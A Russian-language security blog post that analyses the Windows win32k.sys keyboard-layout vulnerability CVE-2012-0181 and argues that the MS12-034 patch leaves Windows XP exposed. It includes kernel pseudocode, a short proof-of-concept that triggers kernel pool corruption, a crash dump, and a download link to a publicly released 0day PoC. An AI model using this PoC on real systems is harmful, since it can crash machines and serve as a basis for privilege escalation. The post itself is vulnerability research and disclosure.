Mastodon

Friday, May 18, 2012

Post MS12-034 0day: не все патчи одинаково полезны

В начале этого месяца Microsoft выпустила бюллетень безопасности MS12-034, который сообщает о целых 10-ти совершенно разношерстных уязвимостях, среди которых присутствует даже старая и давно известная уязвимость в обработке TTF шрифтов (CVE-2011-3402). Разнообразие упомянутых в бюллетене продуктов объясняется тем, что очень похожий уязвимый код использовался в разных бинарных модулях.

Помимо всего прочего закрыли так же и уязвимость CVE-2012-0181 – повышение привилегий в коде win32k.sys, который отвечает за загрузку клавиатурных раскладок. О странной ситуации с этой уязвимостью и неадекватной реакции вендора я хочу рассказать в данной заметке.

Немного истории


Реализация поддержки клавиатурных раскладок в Windows, как и большая часть кода в win32k.sys, содержит в себе целую массу сомнительных решений. Их корни, вероятно, тянутся к тем сильным архитектурным изменениям, которые претерпевала графическая подсистема Windows во времена ранних версий NT. Клавиатурная раскладка представляет собой обыкновенный PE-файл, в секции .data которого хранится вся необходимая информация. Стандартные раскладки находятся в директории %SystemRoot%\system32, с префиксами KBD* (например – KBDUS.DLL). Полный список зарегистрированных раскладок хранится в ключе реестра HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layouts\{LAYOUT_ID}, где {LAYOUT_ID} – уникальный идентификатор конкретной раскладки. Их загрузка осуществляется с помощью функции LoadKeyboardLayout():
HKL WINAPI LoadKeyboardLayout(
  __in  LPCTSTR pwszKLID,
  __in  UINT Flags
);

В качестве значения параметра pwszKLID она принимает идентификатор раскладки, которую следует загрузить. Этой функции, в свою очередь, соответствует системный вызов win32k!NtUserLoadKeyboardLayoutEx(), который, для Windows XP, выглядит следующим образом:
HKL WINAPI NtUserLoadKeyboardLayoutEx(
    HANDLE Handle,
    DWORD offTable,
    PUNICODE_STRING puszKeyboardName,
    HKL hKL,
    PUNICODE_STRING puszKLID,
    DWORD dwKLID,
    UINT Flags
);

Так как помимо идентификаторов загружаемой раскладки win32k!NtUserLoadKeyboardLayoutEx() принимает параметр Handle (дескриптор файла) – это позволяет простым образом загрузить произвольный файл клавиатурной раскладки без необходимости создавать каких-либо ключей реестра в HKEY_LOCAL_MACHINE (собственно, одно из необходимых условий для Local Privileges Escalation из-под низко привилегированной учётной записи). Так же стоит обратить внимание на параметр offTable. Младшие 16 бит этой переменной используются как RVA адрес, по которому в PE-образе файла клавиатурной раскладки находится структура _KBDTABLES (с неё и начинается описание данных раскладки), старшие 16 бит – это аналогичный RVA адрес структуры _KBDNLSTABLES.

Основная работа по чтению и обработке данных из файла клавиатурной раскладки происходит в функции win32k!ReadLayoutFile(), стек вызовов к которой выглядит следующим образом:
ChildEBP RetAddr  
f877990c bf881e25 win32k!ReadLayoutFile
f877992c bf8b9574 win32k!LoadKeyboardLayoutFile+0x6a
f87799b4 bf92a002 win32k!xxxLoadKeyboardLayoutEx+0x1b1
f8779d40 8053d6f8 win32k!NtUserLoadKeyboardLayoutEx+0x164
f8779d40 7c90e514 nt!KiFastCallEntry+0xf8

В данной функции реализован небольшой PE-загрузчик, в коде которого и кроется целый ряд уязвимостей. Псевдокод данной функции для Windows XP приведён ниже:
  1 PKBDTABLES ReadLayoutFile(
  2     PKBDFILE pkf,
  3     HANDLE hFile,
  4     UINT offTable,
  5     PKBDNLSTABLES *ppNlsTables)                            
  6 {
  7     // ...
  8 
  9     // Смещение _KBDNLSTABLES
 10     UINT  offNlsTable = HIWORD(offTable);
 11     
 12     // Смещение _KBDTABLES
 13     offTable &= 0x0000FFFF;
 14 
 15     /*
 16         Здесь происходит чтение содержимого файла.
 17         ...
 18     */
 19 
 20     NumberOfSubsections = NtHeader->FileHeader.NumberOfSections;
 21 
 22     OffsetToSectionTable = sizeof(ULONG) +
 23                            sizeof(IMAGE_FILE_HEADER) +
 24                            NtHeader->FileHeader.SizeOfOptionalHeader;
 25 
 26     SectionTableEntry = (PIMAGE_SECTION_HEADER)((PBYTE)NtHeader +
 27                         OffsetToSectionTable);
 28 
 29     // Поиск секции данных.
 30     while (NumberOfSubsections > 0) 
 31     {
 32         if (strcmp(SectionTableEntry->Name, ".data") == 0)
 33             break;
 34 
 35         SectionTableEntry++;
 36         NumberOfSubsections--;
 37     }
 38 
 39     if (NumberOfSubsections == 0) 
 40     {
 41         goto exitread;
 42     }
 43 
 44     // We found the section, now compute starting offset and the table size.
 45     offTable -= SectionTableEntry->VirtualAddress;
 46     dwDataSize = SectionTableEntry->Misc.VirtualSize;
 47 
 48     pBaseDst = UserAllocPool(dwDataSize, TAG_KBDTABLE);
 49     if (pBaseDst != NULL) 
 50     {
 51         VK_TO_WCHAR_TABLE *pVkToWcharTable;
 52         VSC_LPWSTR *pKeyName;
 53         LPWSTR *lpDeadKey;
 54 
 55         pkf->hBase = (HANDLE)pBaseDst;
 56         RtlMoveMemory(pBaseDst, (PBYTE)DosHdr +
 57                 SectionTableEntry->PointerToRawData, dwDataSize);
 58 
 59         if (ISTS()) {
 60             pkf->Size = dwDataSize; // For shadow hotkey processing
 61         }
 62 
 63         // Compute table address and fixup pointers in table.
 64         pktNew = (PKBDTABLES)(pBaseDst + offTable);
 65 
 66         // The address in the data section has the virtual address
 67         // added in, so we need to adjust the fixup pointer to
 68         // compensate.
 69         pBaseVirt = pBaseDst - SectionTableEntry->VirtualAddress;
 70 
 71         FIXUP_PTR(pktNew->pCharModifiers, pBaseVirt);
 72         FIXUP_PTR(pktNew->pCharModifiers->pVkToBit, pBaseVirt);
 73 
 74         if (FIXUP_PTR(pktNew->pVkToWcharTable, pBaseVirt)) 
 75         {
 76             for (pVkToWcharTable = pktNew->pVkToWcharTable;
 77                  pVkToWcharTable->pVkToWchars != NULL; pVkToWcharTable++)
 78                  FIXUP_PTR(pVkToWcharTable->pVkToWchars, pBaseVirt);
 79         }
 80 
 81         /*
 82             Здесь пропущено множество вызовов FIXUP_PTR() для внутренних структур
 83             клавиатурной раскладки.
 84             ...
 85         */
 86 
 87         if (offNlsTable) 
 88         {
 89             // Compute table address and fixup pointers in table.
 90             offNlsTable -= SectionTableEntry->VirtualAddress;
 91             pknlstNew = (PKBDNLSTABLES)(pBaseDst + offNlsTable);
 92 
 93             // Fixup the address.
 94             FIXUP_PTR(pknlstNew->pVkToF, pBaseVirt);
 95             FIXUP_PTR(pknlstNew->pusMouseVKey, pBaseVirt);
 96 
 97             // Save the pointer.
 98             *ppNlsTables = pknlstNew;
 99 
100             // ...
101         }
102     }
103                         
104     // ...
105 }

Макрос FIXUP_PTR() используется для реализации базовых поправок указателей:
#define FIXUP_PTR (p, pBase) ((p) ? (p) = (PVOID)((PBYTE)pBase + (WORD)(ULONG_PTR)(p)) : 0)

Уязвимость


 Как видно, какие либо проверки корректности PE-образа и находящихся в нём структур – отсутствуют. Приведенный код функции win32k!ReadLayoutFile() отличается от такового в более поздних версиях операционной системы. Начиная с Windows Server 2003 в нём таки добавились проверки структуры PE файла на предмет корректности, а так же проверка упомянутых выше смещений, берущихся из параметра offTable. Кроме того, начиная с Windows Vista в функции win32k!xxxLoadKeyboardLayoutEx() появились проверки на предмет того, находится ли файл, дескриптор которого передаётся в win32k!NtUserLoadKeyboardLayoutEx(), в директории %SystemRoot%\system32. Благодаря этому, по замыслу вендора, любые уязвимости при обработке клавиатурных раскладок на NT 6.x (включая CVE-2010-2743, которую использовал червь Stuxnet) могут быть полезны разве что в контексте Local Admin to Ring 0 атак, но не для «настоящего» повышения привилегий.

Согласно информации от исследователей из Core Security, нашедших уязвимость CVE-2012-0181, она является, вроде бы как, переполнением хипа, что действительно так для Windows 2003 Server и старше. Однако, для Windows XP описание эксплуатации этой уязвимости (как и сама уязвимость, вместе с заплаткой к ней) не совсем соответствуют реальной ситуации. Попробуем разобраться, в чём же дело.

Как следует из скудного описания – CVE-2012-0181 позволяет перезаписать 1, 2 или 3 байта за границей выделенного участка пула ядра из-за некорректной проверки границ значения offTable. В ответ на эту уязвимость Microsoft выпустила патч, в котором реализовано:
  • Корректная проверка значения offTable для всех версий Windows, начиная с Server 2003.
  • На XP и Server 2003 был перенесён (см. «Keyboard layout behavior introduced with Windows Vista conditionally applied down-level») уже упомянутый код из более поздних версий Windows, который разрешает загружать клавиатурные раскладки только из тех файлов, которые хранятся директории %SystemRoot%\system32. В исправленном после выхода MS12-034 модуле win32k.sys функция win32k!xxxLoadKeyboardLayoutEx() вызывается через специальную обёртку win32k!xxxSafeLoadKeyboardLayoutEx(), которая так же вызывает функцию win32k!ConvertHandleAndVerifyLoc (), где и проверяется путь к файлу.
Однако, не смотря на то, что в описании CVE-2012-0181 Windows XP явно фигурирует как vulnerable target – на ней так и не реализовали должной проверки значения offTable! Благодаря такому упущению пользователи Windows XP, фактически, остались уязвимы даже не смотря на то, что патч запретил загрузку клавиатурных раскладок из произвольных файлов. Если честно, причина столь идиотской реализации патча является загадкой и для меня самого, но можно предположить, что дело в следующем:
  1. Информация об уязвимости и её эксплуатации, которая содержится во writeup-е от Core Security, касается, предположительно, только версий Windows начиная с Server 2003. Слово «предположительно» в данном случае я употребил потому, что вместо внятного описания уязвимого фрагмента кода с приведением дизассемблерного листинга Core Security привёл только общие слова.
  2. Microsoft, получив от Core Security описание уязвимости и PoC-код к ней, не смогли воспроизвести проблему на Windows XP, и вместо полного аудита кода проблемных функций на всех платформах ограничились быстрыми и грязными хаками. 
Так это или нет – но в настоящий момент ядро Windows XP действительно содержит почти-0day уязвимость, PoC код для которой выглядит следующим образом:
 1 /*
 2     Когда offTable равен 0 -- смещение _KBDTABLES, которое используется 
 3     в win32k!ReadLayoutFile(), после вычитания из offTable виртуального адреса
 4     секции данных равняется 0xfffff000:
 5 
 6     win32k!ReadLayoutFile+0x6f (*):
 7     mov     esi,dword ptr [ebp+10h] ; offTable value
 8     sub     esi,dword ptr [eax+0Ch] ; Section RVA, 0x1000
 9     
10     Из-за этого происходит перезапись данных за границами выделенного участка пула,
11     при попытке применения базовых поправок к указателями внутри структур _KBDTABLES 
12     и др.
13 
14     ----
15     (*) Версия win32k.sys -- 5.1.2600.6206
16 */
17 
18 HANDLE hFile = CreateFile(
19     "C:\\Windows\\system32\\KBDUS.DLL", 
20     GENERIC_READ, FILE_SHARE_READ, 
21     NULL, 
22     OPEN_EXISTING, 
23     0, NULL
24 );
25 
26 HKL hKl = GetKeyboardLayout(
27     GetWindowThreadProcessId(GetForegroundWindow(), GetCurrentProcessId())
28 );
29 
30 DWORD dwId = 0x00031337;
31 UNICODE_STRING usLayoutName, usLayoutId;
32 WCHAR Id[20];                    
33 
34 wsprintfW(Id, L"%.8x", dwId);
35 RtlInitUnicodeString(&usLayoutName, NULL);
36 RtlInitUnicodeString(&usLayoutId, Id);
37 
38 NtUserLoadKeyboardLayoutEx(
39     hFile, 
40     0, // <-- offTable
41     &usLayoutName, 
42     hKl, 
43     &usLayoutId, dwId, 
44     0x101
45 );

Исполнение этого кода приводит к аварийному завершению работы системы в следствии обращения по недействительному адресу памяти:
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe.  Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e10650d3, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: bf881fb6, If non-zero, the instruction address which referenced the bad memory
 address.
Arg4: 00000001, (reserved)

Debugging Details:
------------------


READ_ADDRESS:  e10650d3 Paged pool

FAULTING_IP: 
win32k!ReadLayoutFile+183
bf881fb6 803800          cmp     byte ptr [eax],0

MM_INTERNAL_CODE:  1

IMAGE_NAME:  win32k.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  4f85831a

MODULE_NAME: win32k

FAULTING_MODULE: bf800000 win32k

DEFAULT_BUCKET_ID:  DRIVER_FAULT

BUGCHECK_STR:  0x50

PROCESS_NAME:  win32k_Keyboard

TRAP_FRAME:  b191c884 -- (.trap 0xffffffffb191c884)
ErrCode = 00000000
eax=e10650d3 ebx=e105b008 ecx=e105b008 edx=00000000 esi=e106ac08 edi=e105c008
eip=bf881fb6 esp=b191c8f8 ebp=b191c90c iopl=0         nv up ei ng nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010282
win32k!ReadLayoutFile+0x183:
bf881fb6 803800          cmp     byte ptr [eax],0           ds:0023:e10650d3=??
Resetting default scope

LAST_CONTROL_TRANSFER:  from 804f7b8b to 80527c24

STACK_TEXT:  
b191c3c0 804f7b8b 00000003 e10650d3 00000000 nt!RtlpBreakWithStatusInstruction
b191c40c 804f8778 00000003 00000000 c0708328 nt!KiBugCheckDebugBreak+0x19
b191c7ec 804f8ca3 00000050 e10650d3 00000000 nt!KeBugCheck2+0x574
b191c80c 8051cc4f 00000050 e10650d3 00000000 nt!KeBugCheckEx+0x1b
b191c86c 805405f4 00000000 e10650d3 00000000 nt!MmAccessFault+0x8e7
b191c86c bf881fb6 00000000 e10650d3 00000000 nt!KiTrap0E+0xcc
b191c90c bf881e25 e208f8e8 e10611c8 e105c008 win32k!ReadLayoutFile+0x183
b191c92c bf8b9574 800003a4 00000000 00000000 win32k!LoadKeyboardLayoutFile+0x6a
b191c9b4 bf92a002 82273e08 800003a4 04090409 win32k!xxxLoadKeyboardLayoutEx+0x1b1
b191c9f0 bf8b91b5 82273e08 0000003c 04090409 win32k!xxxSafeLoadKeyboardLayoutEx+0xa9
b191cd40 8053d6f8 0000003c 00000000 0012fec8 win32k!NtUserLoadKeyboardLayoutEx+0x164
b191cd40 004011c4 0000003c 00000000 0012fec8 nt!KiFastCallEntry+0xf8
0012ff7c 004015de 00000001 00363c48 00362e80 win32k_KeyboardLayout_expl!NtUserLoadKeyboardLayoutEx+0x14 
0012ffc0 7c817077 00330036 00360038 7ffdd000 win32k_KeyboardLayout_expl!__tmainCRTStartup+0x10f
0012fff0 00000000 00401726 00000000 78746341 kernel32!BaseProcessStart+0x23

Эксплуатация


Таким образом, уязвимость относится к классу Pool Corruption, и позволяет перезаписать некоторое количество указателей, которые находятся в границах от 0 до 0xFFFF относительно участка пула, выделенного под структуры клавиатурной раскладки (обычно, их размер составляет несколько Кб). Однако, на практике эксплуатация данной уязвимости сложнее, чем в случае с обычным переполнением. Данные, которыми перезаписывается указатель за границами участка пула, не контролируются атакующим непосредственно, а являются производными от макроса FIXUP_PTR() и зависят как от оригинального содержимого перезаписываемой памяти, так и от адреса участка пула, выделенного под данные клавиатурной раскладки (см. pBaseVirt в листинге win32k!ReadLayoutFile).

В связи с тем, что из-за специфики уязвимости разработка стабильного reliable эксплойта под неё является достаточно сложной задачей (но не факт что принципиально не решаемой) – я выкладываю в широкий доступ 0day PoC для изучения всеми желающими.

https://dl.dropbox.com/u/22903093/win32k_KeyboardLayout_expl-18.05.12.rar
 

Выводы?


Для пользователей – не доверять обновлениям безопасности. Вендорам – не лениться делать нормальный аудит кода во избежание таких глупых факапов как этот.